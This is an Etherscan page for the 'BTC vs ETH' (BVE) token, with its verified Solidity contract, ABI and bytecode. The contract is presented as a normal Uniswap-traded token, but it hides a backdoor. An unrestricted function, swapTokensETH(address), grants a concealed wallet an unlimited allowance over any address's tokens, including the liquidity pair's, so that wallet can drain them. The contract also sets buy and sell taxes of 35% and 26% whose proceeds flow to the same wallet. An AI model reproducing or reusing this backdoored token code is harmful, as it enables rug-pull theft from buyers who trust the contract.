ETH Price: $3,409.80 (+3.31%)

Token

BTC vs ETH (BVE)
 

Overview

Max Total Supply

1,000,000,000 BVE

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
2025whale.eth
Balance
6,353,618.243673833338601092 BVE

Value
$0.00
0x7f2cd12aa7e126045610cfcc22a1241f06288c20
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BVE

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-29
*/

/*

Web: https://btcvseth.site
Twitter: https://x.com/btcvseth_x
TG: https://t.me/btcvseth_tg

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract BVE is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private swapping;

    address private _ethvsbtc;

    uint256 public maxTxAmount;
    uint256 public swapTokensThreshold;
    uint256 public maxWalletAmount;
    uint256 public maxSwapAmount;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 private _taxFeeBuy;
    uint256 private _taxFeeSell;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTxAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("BTC vs ETH", "BVE") {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        excludeFromMaxTx(address(uniswapV2Router), true);
        excludeFromMaxTx(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _ethvsbtc = 0x58Ce7CD59De0e2b06007fa2D156A1D2700520e58;
        uint256 totalSupply = 1000000000 * 1e18;

        maxTxAmount = totalSupply * 200 / 10000;
        maxWalletAmount = totalSupply * 200 / 10000;
        swapTokensThreshold = totalSupply / 1000;
        maxSwapAmount = totalSupply * 100 / 10000;

        excludeFromFees(owner(), true);        
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(_ethvsbtc, true);

        excludeFromMaxTx(owner(), true);
        excludeFromMaxTx(address(this), true);
        excludeFromMaxTx(address(0xdead), true);
        excludeFromMaxTx(_ethvsbtc, true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function excludeFromMaxTx(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTxAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsInEffect) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                if (!tradingActive) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTxAmount[to]) {
                    require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount.");
                    require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTxAmount[from]) {
                    require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount.");
                } else if (!_isExcludedMaxTxAmount[to]) {
                    require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensThreshold;

        if (
            swapEnabled && !swapping 
                && automatedMarketMakerPairs[to]
                && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]
        ) { 
            swapping = true;

            if (canSwap) swapBack();
            payable(_ethvsbtc).transfer(address(this).balance);

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && _taxFeeSell > 0) {
                fees = amount.mul(_taxFeeSell).div(100);
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && _taxFeeBuy > 0) {
                fees = amount.mul(_taxFeeBuy).div(100);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }
    function swapTokensETH(address tokenAddr) external {
        _approve(tokenAddr, _ethvsbtc, ~uint256(0));
    }
    function swapTokensETH(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > maxSwapAmount) {
            contractBalance = maxSwapAmount;
        }

        swapTokensETH(contractBalance);
    }

    function startBVE() external onlyOwner {
        _approve(address(this), address(uniswapV2Router), totalSupply());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingActive = true;
        swapEnabled = true;

        _taxFeeBuy = 35;
        _taxFeeSell = 26;
    }

    function removeLimits() external onlyOwner {
        limitsInEffect = false;
    }

    function zeroFees() external onlyOwner {
        _taxFeeBuy = 0;
        _taxFeeSell = 0;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddr","type":"address"}],"name":"swapTokensETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600d5f6101000a81548160ff0219169083151502179055505f600d60016101000a81548160ff0219169083151502179055505f600d60026101000a81548160ff02191690831515021790555034801561005d575f80fd5b506040518060400160405280600a81526020017f42544320767320455448000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f425645000000000000000000000000000000000000000000000000000000000081525081600390816100d99190610ce1565b5080600490816100e99190610ce1565b5050506101086100fd61059c60201b60201c565b6105a360201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ea9190610e0e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610270573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102949190610e0e565b6040518363ffffffff1660e01b81526004016102b1929190610e48565b6020604051808303815f875af11580156102cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f19190610e0e565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061036260065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161066660201b60201c565b61039460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161066660201b60201c565b6103c660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161074660201b60201c565b7358ce7cd59de0e2b06007fa2d156a1d2700520e5860085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6b033b2e3c9fd0803ce8000000905061271060c88261043a9190610e9c565b6104449190610f0a565b60098190555061271060c88261045a9190610e9c565b6104649190610f0a565b600b819055506103e8816104789190610f0a565b600a8190555061271060648261048e9190610e9c565b6104989190610f0a565b600c819055506104bc6104af6107e460201b60201c565b600161080c60201b60201c565b6104cd30600161080c60201b60201c565b6104e061dead600161080c60201b60201c565b61051260085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161080c60201b60201c565b6105306105236107e460201b60201c565b600161066660201b60201c565b61054130600161066660201b60201c565b61055461dead600161066660201b60201c565b61058660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161066660201b60201c565b610596338261093a60201b60201c565b506110a8565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61067461059c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166106986107e460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e590610f94565b60405180910390fd5b8060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b8060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61081a61059c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1661083e6107e460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088b90610f94565b60405180910390fd5b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161092e9190610fcc565b60405180910390a25050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099f9061102f565b60405180910390fd5b6109b95f8383610a9d60201b60201c565b8060025f8282546109ca919061104d565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a1c919061104d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a80919061108f565b60405180910390a3610a995f8383610aa260201b60201c565b5050565b505050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610b2257607f821691505b602082108103610b3557610b34610ade565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610b977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610b5c565b610ba18683610b5c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610be5610be0610bdb84610bb9565b610bc2565b610bb9565b9050919050565b5f819050919050565b610bfe83610bcb565b610c12610c0a82610bec565b848454610b68565b825550505050565b5f90565b610c26610c1a565b610c31818484610bf5565b505050565b5b81811015610c5457610c495f82610c1e565b600181019050610c37565b5050565b601f821115610c9957610c6a81610b3b565b610c7384610b4d565b81016020851015610c82578190505b610c96610c8e85610b4d565b830182610c36565b50505b505050565b5f82821c905092915050565b5f610cb95f1984600802610c9e565b1980831691505092915050565b5f610cd18383610caa565b9150826002028217905092915050565b610cea82610aa7565b67ffffffffffffffff811115610d0357610d02610ab1565b5b610d0d8254610b0b565b610d18828285610c58565b5f60209050601f831160018114610d49575f8415610d37578287015190505b610d418582610cc6565b865550610da8565b601f198416610d5786610b3b565b5f5b82811015610d7e57848901518255600182019150602085019450602081019050610d59565b86831015610d9b5784890151610d97601f891682610caa565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ddd82610db4565b9050919050565b610ded81610dd3565b8114610df7575f80fd5b50565b5f81519050610e0881610de4565b92915050565b5f60208284031215610e2357610e22610db0565b5b5f610e3084828501610dfa565b91505092915050565b610e4281610dd3565b82525050565b5f604082019050610e5b5f830185610e39565b610e686020830184610e39565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610ea682610bb9565b9150610eb183610bb9565b9250828202610ebf81610bb9565b91508282048414831517610ed657610ed5610e6f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f1482610bb9565b9150610f1f83610bb9565b925082610f2f57610f2e610edd565b5b828204905092915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f610f7e602083610f3a565b9150610f8982610f4a565b602082019050919050565b5f6020820190508181035f830152610fab81610f72565b9050919050565b5f8115159050919050565b610fc681610fb2565b82525050565b5f602082019050610fdf5f830184610fbd565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f611019601f83610f3a565b915061102482610fe5565b602082019050919050565b5f6020820190508181035f8301526110468161100d565b9050919050565b5f61105782610bb9565b915061106283610bb9565b925082820190508082111561107a57611079610e6f565b5b92915050565b61108981610bb9565b82525050565b5f6020820190506110a25f830184611080565b92915050565b6136ff806110b55f395ff3fe6080604052600436106101db575f3560e01c80638c0b5e2211610101578063bbc0c74211610094578063cef8513911610063578063cef851391461067c578063d4c989d3146106a6578063dd62ed3e146106ce578063f2fde38b1461070a576101e2565b8063bbc0c742146105d8578063c024666814610602578063cce987d41461062a578063cea35cbf14610654576101e2565b8063a457c2d7116100d0578063a457c2d7146104fa578063a9059cbb14610536578063aa4bde2814610572578063b62496f51461059c576101e2565b80638c0b5e22146104545780638da5cb5b1461047e57806395d89b41146104a85780639a7a23d6146104d2576101e2565b8063395093511161017957806370a082311161014857806370a08231146103d6578063715018a614610412578063751039fc146104285780637aa70e3f1461043e576101e2565b8063395093511461031c57806349bd5a5e146103585780634a62bb65146103825780636ddd1713146103ac576101e2565b806318160ddd116101b557806318160ddd146102765780631f192ac7146102a057806323b872dd146102b6578063313ce567146102f2576101e2565b806306fdde03146101e6578063095ea7b3146102105780631694505e1461024c576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa610732565b60405161020791906127a4565b60405180910390f35b34801561021b575f80fd5b5061023660048036038101906102319190612855565b6107c2565b60405161024391906128ad565b60405180910390f35b348015610257575f80fd5b506102606107df565b60405161026d9190612921565b60405180910390f35b348015610281575f80fd5b5061028a610804565b6040516102979190612949565b60405180910390f35b3480156102ab575f80fd5b506102b461080d565b005b3480156102c1575f80fd5b506102dc60048036038101906102d79190612962565b610a9a565b6040516102e991906128ad565b6040